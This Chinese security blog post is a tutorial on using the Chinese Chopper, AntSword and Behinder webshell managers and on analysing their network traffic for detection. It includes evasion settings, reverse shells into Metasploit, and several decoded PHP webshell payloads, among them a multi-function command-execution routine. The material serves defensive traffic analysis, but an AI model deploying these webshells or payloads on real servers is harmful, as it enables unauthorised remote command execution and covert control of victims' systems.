webshell使用与流量分析

admin 2023年4月29日20:02:24评论95 views字数 13310阅读44分22秒阅读模式
                     

学网安渗透

扫码加我吧

免费&进群

  
webshell使用与流量分析

Track安全社区投稿~  

千元稿费!还有保底奖励~

  • 一、菜刀

    • 1.使用方法

    • 2.流量分析

  • 二、蚁剑

    • a.未使用编码器时的蚁剑流量特征分析。

    • b.使用编码器的蚁剑的流量特征分析。

    • 1.使用方法:

    • 2.流量分析

  • 三、冰蝎(3.0)

    • 1.对冰蝎的木马文件进行静态分析:

    • 2.流量抓包分析

    • 1.连接webshell

    • 2.内网穿透

    • 3.shell反弹

    • 1.使用方式:

    • 2流量分析:

  • 说明:流量包附件

    一、菜刀

    1.使用方法

    1. 菜刀的使用简单,将一句话木马上传到目标,然后直接使用菜刀连接即可,菜刀主要可以对目标进行虚拟终端,文件操作,数据库操作等。

    webshell使用与流量分析

    webshell使用与流量分析

    webshell使用与流量分析

    webshell使用与流量分析

    2.流量分析

    1.当菜刀和服务器连接后:最开的的两次流量通信,便产生了大量的数据信息。且使用了base64的方式进行编码

    webshell使用与流量分析
    2.对数据解码,发现第一的数据是获取设备的信息,第二段数据是写入了一段新的木马,对第二段的base64编码进行转码整理后得到;

    1. @ini_set("display_errors","0");

    2. @set_time_limit(0);

    3. if(PHP_VERSION<'5.3.0')

    4. {

    5. @set_magic_quotes_runtime(0);

    6. };

    7. echo("X@Y");

    8. $D='C:\phpStudy\PHPTutorial\WWW\webshell\';

    9. $F=@opendir($D);

    10. if($F==NULL){

    11. echo("ERROR:// Path Not Found Or No Permission!");

    12. }

    13. else{

    14. $M=NULL;$L=NULL;

    15. while($N=@readdir($F)){

    16. $P=$D.'/'.$N;

    17. $T=@date("Y-m-d H:i:s",@filemtime($P));

    18. @$E=substr(base_convert(@fileperms($P),10,8),-4);

    19. $R="t".$T."t".@filesize($P)."t".$E."n";

    20. if(@is_dir($P))$M.=$N."/".$R;

    21. else $L.=$N.$R;}echo $M.$L;

    22. @closedir($F);

    23. };

    24. echo("X@Y");

    25. die();

    webshell使用与流量分析

    1. 其中特征点有如下三部分,

    2. 第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;

    3. 第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;

    4. 第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

    5. 注:

    6. 1.有少数时候eval方法会被assert方法替代。

    7. 2.$_POST也会被$_GET$_REQUEST替代。

    8. 3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

    在进行数据传递的过程中,基本都是使用了post的方式向服务端发送数据。

    webshell使用与流量分析
    追踪数据流,发现使用了base64的方式加密,但是返回的相应数据是以明文的方式。

    webshell使用与流量分析
    通过对base64的数据进行解码,得到如下的数据。可以看到,是通过拼接字符串“assert”和“eavl”

    webshell使用与流量分析

    二、蚁剑

    1.使用方法:

    蚁剑是根据菜刀的基础升级而来,也是可以通过一句话木马进行连接,或者使用蚁剑自带的payload进行连接。使用这种方式连接到的webshell数据没有进行任何的加密或者转码,直接以明文的方式可以被wireshark抓取到。

    webshell使用与流量分析
    但是蚁剑可以自定义头数据,而且可以通过配置编码器,对数据进行一个加密,这样可能大程度的减少发现的概率。

    为蚁剑设置自定义头数据等其他自定义信息:如图,我们添加了新的请求头数据

    webshell使用与流量分析
    蚁剑也可以进行加密编码设置:如图设置一个编码器,在蚁剑的配置文件中对其设置

    webshell使用与流量分析
    选定需要配置的编码器,点击rsa配置,设置对应的公私钥

    webshell使用与流量分析
    将配置好的的编码器在连接配置文件中加载。

    webshell使用与流量分析
    使用这种方式的加密,数据会使用rsa的方式进行加密,使得我们抓取的数据包的数据不再是明文,而是是rsa加密的字符,其他编码器同理。

    2.流量分析

    1. 蚁剑是依据菜刀升级而来,所以大致的流量特征会和菜刀及其相似

    a.未使用编码器时的蚁剑流量特征分析。

    依然使用了POST的方式进行了数据的提交。而且默认情况下没有做任何的数据编码或者加密

    webshell使用与流量分析
    通过分析,他依然是上传了一段新代码,用于实现更多的功能

    webshell使用与流量分析

    b.使用编码器的蚁剑的流量特征分析。

    使用了头信息添加或者修改,可以通过抓包发现,发生了作用。

    webshell使用与流量分析
    蚁剑有默认的ua,但是在本次实验的时候,变成了一个可变的动态ua头。

    webshell使用与流量分析

    webshell使用与流量分析
    对数据流量进行分析,发现数据好像被加密了

    webshell使用与流量分析
    通过base64解码出来,发现是没有意义的数据,可以判断,设置编码器进行的rsa加密产生了作用

    webshell使用与流量分析
    通过追踪流发现,请求数据都被加密了,但是响应数据依然使用的明文,通过这个线索,依旧可以实现检测。

    webshell使用与流量分析

    三、冰蝎(3.0)

    1.使用方式:

    冰蝎属于是一个功能强大的webshell管理工具,它有自带的payload,我们只需要将后门文件放到服务器上即可执行功能,冰蝎相比之前的webshell,流量更加安全隐蔽,而且功能更加强大如,设置转发,反弹shell等。

    1.连接webshell

    找到对应的后门文件,上传到服务器。

    webshell使用与流量分析
    使用冰蝎对其连接。发现功能比较多

    webshell使用与流量分析

    2.内网穿透

    冰蝎支持多种内网穿透方式。

    webshell使用与流量分析
    使用端口映射的方式进行一个内网穿透,在冰蝎上做好配置,在vps上使用端口转发工具进行一个监听。

    webshell使用与流量分析
    这儿使用的是lcx,且成功完成了转发

    webshell使用与流量分析

    webshell使用与流量分析

    3.shell反弹

    冰蝎支持shell反弹,甚至可以反弹到cs和msf。

    webshell使用与流量分析
    尝试反弹到msf,获取meterpreter。

    设置好参数,准备反弹shell到meterpreter,同时可以看到使用的payload

    webshell使用与流量分析
    msf端设置好参数,等待shell

    webshell使用与流量分析
    冰蝎上开启反弹。msf获取到shell。

    webshell使用与流量分析
    其他功能不再测试

    2流量分析:

    1. 冰蝎使用对称加密算法。加密过程总共分三步:

    2. 第一步,密钥传递阶段(3.0使用了预共享)。

    3. 第二步,算法协商阶段,加密算法一般为AES128和异或。

    4. 第三步,正式通讯阶段。客户端使用上述密钥加密payloadPOST给服务端,服务端解密后执行将结果又以加密方式作为Response Body返回给客户端。

    1.对冰蝎的木马文件进行静态分析:

    首先会将连接密码进行md5运算,取前16位,作为session留在服务器端

    webshell使用与流量分析
    响应的数据通过aes的方式加密

    webshell使用与流量分析

    2.流量抓包分析

    因为使用了预共享的密钥,所以基本没有明文直接通信

    webshell使用与流量分析
    但是我们自己搭建的环境,自己知道密钥,所以可以将数据解密。

    webshell使用与流量分析
    解密出来的东西应该是一串base64编码过的数据。

    webshell使用与流量分析
    再一次编码,获取到数据

    webshell使用与流量分析
    对第一组数据包进行一个分析:

    webshell使用与流量分析
    对请求包进行处理,对获取到的数据进行aes解密和base64转码后,获得的数据,大概可以理解为是一个认证包,如果服务端返沪后后的数据一致,那么就算是认证完成,进入后续流程。

    解密后的请求包

    1. @error_reporting(0);

    2. function main($content)

    3. {

    4. $result = array();

    5. $result["status"] = base64_encode("success");

    6. $result["msg"] = base64_encode($content);

    7. $key = $_SESSION['k'];

    8. echo encrypt(json_encode($result),$key);

    9. }

    10. function encrypt($data,$key)

    11. {

    12. if(!extension_loaded('openssl'))

    13. {

    14. for($i=0;$i<strlen($data);$i++) {

    15. $data[$i] = $data[$i]^$key[$i+1&15];

    16. }

    17. return $data;

    18. }

    19. else

    20. {

    21. return openssl_encrypt($data, "AES128", $key);

    22. }

    23. }$content="aWxjVG54ejFQRVdnM1lLbFNXUU1sRkQycWVqblMxd0JJbmdYa2EyNGdIUjRJcXV4NWp5NHZiQjdJT1huOHVXcENGd2FMWkZqRWhXZFNnaVpxR2cxUzBLeTJrVkpMUGpYWEZJR29QdFlPRk9VN2xtQVhtZzNlR1ZpUjl5ZjlpMEh4N2g3SFdyampDNm1oTUNueHdmTHZzTzRmOVJORVlacldVRGcydkJSSUNsdUxKQjZKdWZ0SEZIVkxXOFVUbWFUZmsyeklvMWR5TWd5RlhneW9aUFhkR2xXV0VCYTRyQzM1UFpxdFFmU2RiWXlFSnhBQ3hRVkU2djV2RFlQQUJETFZQekEwUGwzRXhTazdvSkc1UWJubXp2aVJRMHN3SGtucmdTWjdaMXlQRGVrdUZETFdCZlMwTUxVbEpaaG81T2Q2YXdsR3BRcjNVdnhpT25tMjJ0TmNjZjU2a242Z0p4VjlSamNlTHpIMldyeXNNZmdKUXNnN1l2RmZCMkRtcFVubGtRNXRzTFNaWE0yQ0I4MVRZOWVqaGRVVk8ybUI0cFRvNUNxb295VTdoTnhFbk5ISFlGbVhqWVZNSkYyRU9yT2RtRm5tOXFqdlF3cnVjUXRxU2dEUHZCRlA0Nndrd3Znd3lMVkJjbDRjRHk0dVNOT2ZGSmJKNE9UbWlGaWNZNWx5aHJNVHhXS0RhMnAxZ3RWT3phRWZybHpPUGVvZ3lSTWN2bDRzNUtrQlBFVHN5RGJXRTFPbnJvOEhUb1l3dEtBUGVscmlLWWdaczJmUHZZVzlveE03d3p0UXBaOGl2YnYweTlVemZWWkF5bzE4NmdQOXJ0Yzc5ZXVscDFMTm4yZUxUTGtqcllnblhiZGJsMVhmcm5BcnJnd1BlZWFBemV3cE5aem91Q2haV29YcEphaVA1UjMzQjJnR3M0NFZUQ2VzWmdmT3h1WkxPdlFzcWdWQjF5dEp1ZUtyQlRwWGxFVEhWc2c0bk9qeTg2Y1lvSVJPZmk4cU55ejVEZjN1RWt4dHJGRTBmUDlDYnpSQ21HYUJqdnI4d2pnelhQUXdzVFFqMXB1RllvRzZmMTZZaEk1MUZhQ0FXMjNpdENyZFMySm5ocmFIY1Q1a1hqTjk1aHJkbTA3T1VLeEw2M2ZHRnI5d1dpb0hHNFJhekRXakc1RWl5M1pUVERQYmlQZmIyOGZmNmVQMTBrSVJwUnZjODF0eGp2YXpTVlE4WGQ5alBlVzNKV3BMY09qWFpzaHNIMmQ0eDNLNWZwRXZ1SjljeDhHTlBNYzRTWGpTcXpoUGpRdVVRclNNVGdhZWZrNzh1dkNtQnliQTY3ZWxFYWtoWmdKQktuU0l2Z2RjMGNyOFdwZndwMzRhTmc1UEZCU1Fuazc4UVZZekl0ZnJSSGV3eHkzVEVYRjZiWmdoUGUzRUdyNXI4N2E1amkxUWFjYlRob005ZHgxNnJyOHU2bzF1eTF6N29PSzY5MEx4WjVPYjlmWndxWEk0dU1RbGZDUnNIN0VVWWgwV2dxODN1ZHZ1blBHaDdWQ0lab0xMWUs4eHhFWm4yRm1uenlWdU9id0NZYkx6OWdySG53ZUVsUWpQa0d3NlA3YmNQMm5MMUdqZzNwZ3BxVEVOdzdYdElIYVFpNjZpOWRzMmhobGpycHR1ekVqTVVvbUJQckFTM2RwRkVBeFdBRG1ab2FUN1ZQNHBQSms1QmpBOWhwMk1jZU9PMU82ZENjWXVtTjBDVUxPNDlzbkNiVHEzM0E4TExtcms5WlhDTHFuVU1TQVoyVzRYdzk0bXl3d1FJRUZBdHg3azRDTzRXN2lyTkR3MUVWb3JyYlBVdkp3cWtWMnRpMWRJaHloYTFHV0VQSWRGV3J5REFwNnRRVlhXMDRkOXFtT011cjE0aXR1cEJaUlVZMlZGU0p0dkhqV1RkSTlJeVoycXdqM3RmQUd3dHJ1RWZDQmQ5VUVRdVpraE1SWmpUSEJDQXk4RDg1MkR1RlF4OTRZWmNWMEZWN3puR0k3SDl2RmlJNmdiZ0VsTUNudjAzdVBmUlNtY0xibnM3YWV2Unc1S1BaN1FIM0JqeTdzaGVXTUtVeGExb2RNUVNiQnNkek85ejJTanpPZkVMcnFBekh6eG1mWDZxcVlsS0JVaGZlckFZN0JRY2kxWmw5MGZKTEZhdHhkcDFDVUgyTGN2SVhtRmFqdU9DYVY0Rk5vVGs0aUFTNXB6NUtheXZDWTdvRFA1ckpkd1IzTjVlb0pXVDVnR2J1QUFyWVl2aEtZTU4xQVRxZnFwSnlkaTlMQ01nWDh5UmI5MEwycGo1TVprcFp5NVZZakdwMElWUGV4cVZVS2JWa1hjbkZCUWtETXlzOVBzUHUyR2hUdFdrSlZOZWtLMWJSTXhWZWR4Wm5GZ2VBN1lsVExhUmdzUVBkNXdRa2FRS2pnbDEzWk5UT3RUQjZidG9GNkRTM1JwWURxc0hCRkd0NVFqd0FGYVByWFZtYkxCUDZkc280V3kxZTJxVVZuV0hmbFZWTXk5dXpGalhRRHM4MkVhNVlqYmVpajNXOGl3RFNPaHFwTU9FQ2l2eVkxZmdFcG9CM3hSRmpGdWlmWGRiWndHMEpsYkVvcnZPRGlDOEhZWjhPaU12dTFxM0lTMUNPejU2VHhzUFFYdVhQTmJSNkg2V0FGd1FHRDlWbHIybTF6WkdRY0hmdHl2dWQzb1VEVFQ3RThKRFBWaXJ0ZEtEVFJodDR4SVBHMVBpdG00WjRldm9CRmxySldsdFJRa0ZEVnFFdkg5N2xMN2hpbzFKdGdRYmFyUWY5QnRMUkdhaUZiTDN0SzBKbzJ1dms1M2pSUXR3alFHMUFuMllkcWw3Wjlib1JDOUxZbm5KdGdJeTdKWWxNU0R1NTRISzRTRGt5UHppbXJncjJBOHptTUtmaXRTQ0RUM2tNVlhlWUVXNEZEMGtHRDdHMGN0WjRFT1NTTjhZTTBrVkxMcnZ6WE5pc2hGc1hES3FMclh0NVNFeVRRdjVocDJ2YkNDSEdwVzNrdWMzaWRuc21CUnZ0V2xhSFRlaGNDQ0I1NzlVVUk2R0FEZTlpdjRUdUdnejlxRTlvcmdrT0tuYmRESkhIRFM5TVJYV1BJY0FHUkVURlFGOENlQ2tmZmJITjVEd1RBRWZ4eDRQSGV6UVBmQTZSTjVqZXdKeWY5dGtkdkVIelJSOTFkVE1JT21kS1AxYzJwekpKZUFJekNaUmg5Sm9MNDhCSW5wWHBXVEE2ckEzNTRKNkJzVzNyMVRFOUU3WmNwTkVXZFdTcGNWZWxGbmtlam5XNklteXgxaHBjcTd1VGxnWVBoRUptNFVxTnMxOHQ5YlByQW1BaHpvM0Zmb3M=";$content=base64_decode($content);

    24. main($content);

    经过和返回包的解密转码后做比对,可以认为完成了认证。

    webshell使用与流量分析
    完成认证后,客户端向请求端发送了数据,通过解密得到数据。请求执行了phpinfo.

    webshell使用与流量分析

    1. error_reporting(0);

    2. function main($whatever) {

    3. ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();

    4. $driveList ="";

    5. if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))

    6. {

    7. for($i=65;$i<=90;$i++)

    8. {

    9. $drive=chr($i).':/';

    10. file_exists($drive) ? $driveList=$driveList.$drive.";":'';

    11. }

    12. }

    13. else

    14. {

    15. $driveList="/";

    16. }

    17. $currentPath=getcwd();

    18. //echo "phpinfo=".$info."n"."currentPath=".$currentPath."n"."driveList=".$driveList;

    19. $osInfo=PHP_OS;

    20. $arch="64";

    21. if (PHP_INT_SIZE == 4) {

    22. $arch = "32";

    23. }

    24. $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));

    25. //echo json_encode($result);

    26. session_start();

    27. $key=$_SESSION['k'];

    28. //echo json_encode($result);

    29. //echo openssl_encrypt(json_encode($result), "AES128", $key);

    30. echo encrypt(json_encode($result), $key);

    31. }

    32. function encrypt($data,$key)

    33. {

    34. if(!extension_loaded('openssl'))

    35. {

    36. for($i=0;$i<strlen($data);$i++) {

    37. $data[$i] = $data[$i]^$key[$i+1&15];

    38. }

    39. return $data;

    40. }

    41. else

    42. {

    43. return openssl_encrypt($data, "AES128", $key);

    44. }

    45. }$whatever="ZnkyT0dRdjRpaGlXeU92Q0UycHkyVjJDT2R1MWNNcWNuN08yaTJ1Rk1HckVQSVNoSmlya05kZ1NDTnYwZ1N3QUtFMkV0NzFJT1NodDhPNGJpQUl0TzNYSWdJTVZCRW94RXpseHFZVjhXelhPc1FIMm54MllpUklTMDlxWVd5cWxvRW9lOWt3VWF3Y2g0UjhISm9jS08zampLeWsxckhXanZCclRsQ28yQXJPRHpteGtxVTlXM0I5OVN1eUlLNE44UDlIb1NaRXc4Yk1aaVhzWmRySnlnenlNczVCU2M4Zk5uQm0wbFA4S1k5YUNpRUpyY09ZM1kyNlF5U1M5cUtPaVF0akRkVjc2YWZPeUNNVW9iNUJtTmtHcHluMWZMaWlTMnJrbDk5WVZ1T1p3ZXp2aW1nUjE2ZlIwT2F0NWd2UTFOYmlxQ2RmQmE2eUc3OW45RDk4dlhQM0djdVdRRW5iV1hNdzBOQlMybVYxRjJzRW1tS3ZMNGN3ZFZsU0d5eVZUU1BrUlhmSnB2SnpBR3NLN0ZSNzdLdE5pcWU5cVQ1UldNb1YxWmsxMk1LdGI5ajE0NkJJWVptc0VCbnQ1eXN6dVRmWHNvYUJKOUxKMjJFa0k5REVqRHp0Y0hEaThaYVB0ZzlXR29KSmZ0U2NQUGJDdk1CbVF0RTFrTU5ieXNvQWRrSTdqeURENmlNd0dQYTlkV2Y5R0UxTDY3cE8zV29wQWxMM3JDSVhDWWU3SnA1QVo3RXZhUm9CeVNvc3hMS3l4b0RWbUpMR2MwUEJzU3MzYlVnSk9QMEpUeVgwM1F6VmxvMnJLUGlaNFM2MnhISVVuRFNYQkxORVE1Ynk0TUY3bkJyeGJEOUNVaDFxbTNqdzZIRkprU1hYT3g5clJ2NndUMHNtbXRtZmZGemlUWExHb3NSUmZaeWt6b3hZQkFtSU9wQnpEOXZkRGdOendYWTZ0bkx6WDdLZmFBWXJtcnhNVHdRclNlSHJ1ZTYyWktxdzU1aHpucUcyQ1pDNFJYYkxPaFp1NHY0dlRGVkpwNFpSWHN2TjREZ283SkgwYzNvN0xzamFpOXJaU3B1SXVhNGJRQXc3em1Dc0JZN2c2S2RDQUp1c0xCUmJaSGFsc21IaVA5RGplQ2FpWW9jU3kzdVJMQXYxOWtwR09UU3pFdjRCaTVXa1g1RU9JbWZZQXQxa1JYVGRsdkF4aFFaeEJ4SmhNMncyaDZKaWtzc1RtZGI1TUc1b0dxMnNGbWlHSVFpVVFlVUNISXJiSzdLazY1STdCdFdwS3o2am5oeFR4bFNvS0czTGNVZUdUcnNBc2U3aFFhczVtTnFKQk03MkNhZDU2ZEEzVFowamROeExhOGFEUjNFNG5kazZCZlhSUnA5dWVITTRXSXJDYzllMWVZWkZsdkhOeUd6QVQ3MllGQldnTVh2cERVR3kxV2xaMll1V1kwMXBsd1BIMVBQa3dEOHRONGVKSkNkOFd4NVdxWFVvOGRSY0FDNXptYmhTMVNZN1drSUM1WkhZNWt2Z2luWmFWeUpLY0pnNGwwWXBNM3lsRENNamVBQkEwRGpWbTF1Y2lHbVFRZUh5VUJKWEljc0NZNjN2bGV3MG9Tb1BxdFg4NURvUEI1RmVkUW5nMHc4d0RRcFV3QTczdlJVaVdlUWZDUUxNb2RHSENyT3p5N0lKeXdESVc1WVViZUlDUEI4cTBNTmZGWWJ5WFhBSjVPRnBDVVNlR0Q2ampMR0VBN2JqMXBKU0h0UWVWRGt4UU9QVmZFTlRhSGJZem9haDFOM0FEcHRpOWxaZzhoNnhRZmcyT085VHBiek9qQnY5UDQ4OGg2Z1p0TWFDVVRwTkRLR2NQR1E1MnlacTlIeGk2aDJCRmNMUTY0b2VPNzhnUzFibnFhNzZSU2E4UXg1UXQ3NVRmaTlZMWdKUDZRNmg2ZTljaElFc2JhR2c1VkpEbG5YRmtWeUhLYXVZSWtGbXhraXJLSXJqVHRrcWJPc2JQUkxjVU5EV0tDRWhwc1VkNnl6R0lzVWlsZ0FEZU9qZnBzRDYzZTNhd3RxWVpNSGpjcHdPcXdGa3lTWm1BdWdTdXlqZDFZQjdPYm5tZ3ZHbjVhcjg2RGQ1RFNyUlZ5ODg5bXRFVjQydHpuUDNMYkhtS1FYQ0c5TUl3RjE0ODdhN1dJZFRYYXZ6NnBoVDRBRk1ra21NYzFSMUcyRU1rM25IcVRZV0xYT2U2ZXpsbDRzN25uc3JpZExjaU13QnVPYUlLSE9IQzM0Z3pJcGFWOThHZUVkeWZ3YUpod1o1S09EVUJIWmc0UnBqRGVyOHlUVUd5QURCcGN0STlsS3U4QnhXTkhadEhOWEV5cEU1dVdGQlZpS1U5SjkxY1BmMklyc29Ba1N1TVpReUR1RWNlS0JSbWdNUU5wWGNJUFd2dlNVNTFWWnJsUkRjSU1UcmV4a09lOWFaQmRhbFl6enJ4cVI0V3gyaW1iRnFoc1ZsMlo2UVV0YVhtbUg0d0FPTTBwRFI1N3hET3BMNFBOR0tLZUNaT2oyMTYwMTJDME5RN1l4QnVVR0tsYlkxUHdCOHlhSktlQlFVSjVrSlpzeTVvYmJxdDNsQXoxekU0R1pRRmVWNndXS2FmMGQyT0ZTWkhkUUdPd1JaWHZocXZLMlJ5c0FSOVBmaG1jQnVDeWRCcU03alhNRTF2cEF6eVhkbm5YOXZaOUQzcjd0VFFGMXZ1QmoxamZLYlZtNzFMOWYwQ1RRVUN2b3RMR3dyZ0U4ckg=";$whatever=base64_decode($whatever);

    46. main($whatever);

    对响应数据处理后,发现反馈的是phpinfo信息。

    webshell使用与流量分析
    通过追踪流,可以获取到所有的数据,分别进行解密,观察数据。这里对执行命令(whoami)部分的数据进行分析

    通过aes解密和base64编码后得到了数据明文。

    webshell使用与流量分析

    1. @error_reporting(0);

    2. function getSafeStr($str){

    3. $s1 = iconv('utf-8','gbk//IGNORE',$str);

    4. $s0 = iconv('gbk','utf-8//IGNORE',$s1);

    5. if($s0 == $str){

    6. return $s0;

    7. }else{

    8. return iconv('gbk','utf-8//IGNORE',$str);

    9. }

    10. }

    11. function main($cmd,$path)

    12. {

    13. @set_time_limit(0);

    14. @ignore_user_abort(1);

    15. @ini_set('max_execution_time', 0);

    16. $result = array();

    17. $PadtJn = @ini_get('disable_functions');

    18. if (! empty($PadtJn)) {

    19. $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);

    20. $PadtJn = explode(',', $PadtJn);

    21. $PadtJn = array_map('trim', $PadtJn);

    22. } else {

    23. $PadtJn = array();

    24. }

    25. $c = $cmd;

    26. if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {

    27. $c = $c . " 2>&1n";

    28. }

    29. $JueQDBH = 'is_callable';

    30. $Bvce = 'in_array';

    31. if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {

    32. ob_start();

    33. system($c);

    34. $kWJW = ob_get_contents();

    35. ob_end_clean();

    36. } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {

    37. $handle = proc_open($c, array(

    38. array(

    39. 'pipe',

    40. 'r'

    41. ),

    42. array(

    43. 'pipe',

    44. 'w'

    45. ),

    46. array(

    47. 'pipe',

    48. 'w'

    49. )

    50. ), $pipes);

    51. $kWJW = NULL;

    52. while (! feof($pipes[1])) {

    53. $kWJW .= fread($pipes[1], 1024);

    54. }

    55. @proc_close($handle);

    56. } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {

    57. ob_start();

    58. passthru($c);

    59. $kWJW = ob_get_contents();

    60. ob_end_clean();

    61. } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {

    62. $kWJW = shell_exec($c);

    63. } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {

    64. $kWJW = array();

    65. exec($c, $kWJW);

    66. $kWJW = join(chr(10), $kWJW) . chr(10);

    67. } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {

    68. $fp = popen($c, 'r');

    69. $kWJW = NULL;

    70. if (is_resource($fp)) {

    71. while (! feof($fp)) {

    72. $kWJW .= fread($fp, 1024);

    73. }

    74. }

    75. @pclose($fp);

    76. } else {

    77. $kWJW = 0;

    78. $result["status"] = base64_encode("fail");

    79. $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");

    80. $key = $_SESSION['k'];

    81. echo encrypt(json_encode($result), $key);

    82. return;

    83. }

    84. $result["status"] = base64_encode("success");

    85. $result["msg"] = base64_encode(getSafeStr($kWJW));

    86. echo encrypt(json_encode($result), $_SESSION['k']);

    87. }

    88. function encrypt($data,$key)

    89. {

    90. if(!extension_loaded('openssl'))

    91. {

    92. for($i=0;$i<strlen($data);$i++) {

    93. $data[$i] = $data[$i]^$key[$i+1&15];

    94. }

    95. return $data;

    96. }

    97. else

    98. {

    99. return openssl_encrypt($data, "AES128", $key);

    100. }

    101. }$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1x3ZWJzaGVsbFwiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3dlYnNoZWxsLw==";$path=base64_decode($path);

    102. main($cmd,$path);

    看不大懂是个啥,但是大致知道了就是用这个代码实现了命令执行的功能,对最后的两串cmd参数,path参数的base64数据解码,得到了路径和执行的命令。

    webshell使用与流量分析

    webshell使用与流量分析
    对响应的数据进行一个分析,将响应数据的密文复制,进行一个解密

    webshell使用与流量分析
    继续得到一串base64数据。

    webshell使用与流量分析

    申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

    所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

    webshell使用与流量分析

    没看够~?欢迎关注!

    分享本文到朋友圈,可以凭截图找老师领取

    上千教程+工具+交流群+靶场账号

     

    webshell使用与流量分析

     分享后扫码加我


    回顾往期内容

    Xray挂机刷漏洞

    零基础学黑客,该怎么学?

    网络安全人员必考的几本证书!

    文库|内网神器cs4.0使用说明书

    代码审计 | 这个CNVD证书拿的有点轻松

    【精选】SRC快速入门+上分小秘籍+实战指南

        代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

    webshell使用与流量分析

    点赞+在看支持一下吧~感谢看官老爷~ 

    你的点赞是我更新的动力


    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年4月29日20:02:24
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     webshell使用与流量分析http://cn-sec.com/archives/1698167.html

    发表评论

    匿名网友 填写信息